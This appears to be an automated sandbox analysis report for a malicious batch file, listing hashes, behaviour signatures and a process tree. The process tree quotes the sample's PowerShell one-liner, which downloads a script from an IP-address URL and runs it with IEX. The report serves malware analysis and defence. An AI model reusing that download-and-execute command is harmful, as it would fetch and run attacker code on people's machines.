431072d009a13cdfad92609c787cd58680f40d778bb435bf6c6eb29edc7558a0 | Triage

Analysis

max time kernel
130s
max time network
122s
platform
windows10_x64
resource
win10v200410
submitted
22-04-2020 18:10

Sharing

Report Analysis Logs

General

Target

Me2v4MuS.bat
Size

197B
MD5

9fe4e52640dd89fd2bffd7679d5427c1
SHA1

cb782152f0425e231fc8a2e8efa34a0fb13b07a9
SHA256

431072d009a13cdfad92609c787cd58680f40d778bb435bf6c6eb29edc7558a0
SHA512

f9507bfd78c53ec37cb98e3060f4f88ef6326493cc1dcd7c9248c71005495a3a5e97d0ef27a95ee79c3128ac7993e97483b1d2fbdffbabf627bab9386d7079be

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/Me2v4MuS

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3816 4004 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3816 WerFault.exe
Token: SeBackupPrivilege 3816 WerFault.exe
Token: SeDebugPrivilege 3816 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
3816	WerFault.exe
3816	WerFault.exe
3816	WerFault.exe
3816	WerFault.exe
3816	WerFault.exe
3816	WerFault.exe
3816	WerFault.exe
3816	WerFault.exe
3816	WerFault.exe
3816	WerFault.exe
3816	WerFault.exe
3816	WerFault.exe
3816	WerFault.exe
3816	WerFault.exe

Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 2 http://www.msftconnecttest.com/connecttest.txt

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Me2v4MuS.bat"
1⤵
PID:3428

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/Me2v4MuS');Invoke-BXOVRYVWNFYNYU;Start-Sleep -s 10000"
2⤵
PID:4004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4004 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3816

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3816-0-0x00000000048D0000-0x00000000048D1000-memory.dmp

Filesize
4KB

Download
memory/3816-1-0x0000000004E00000-0x0000000004E01000-memory.dmp

Filesize
4KB

Download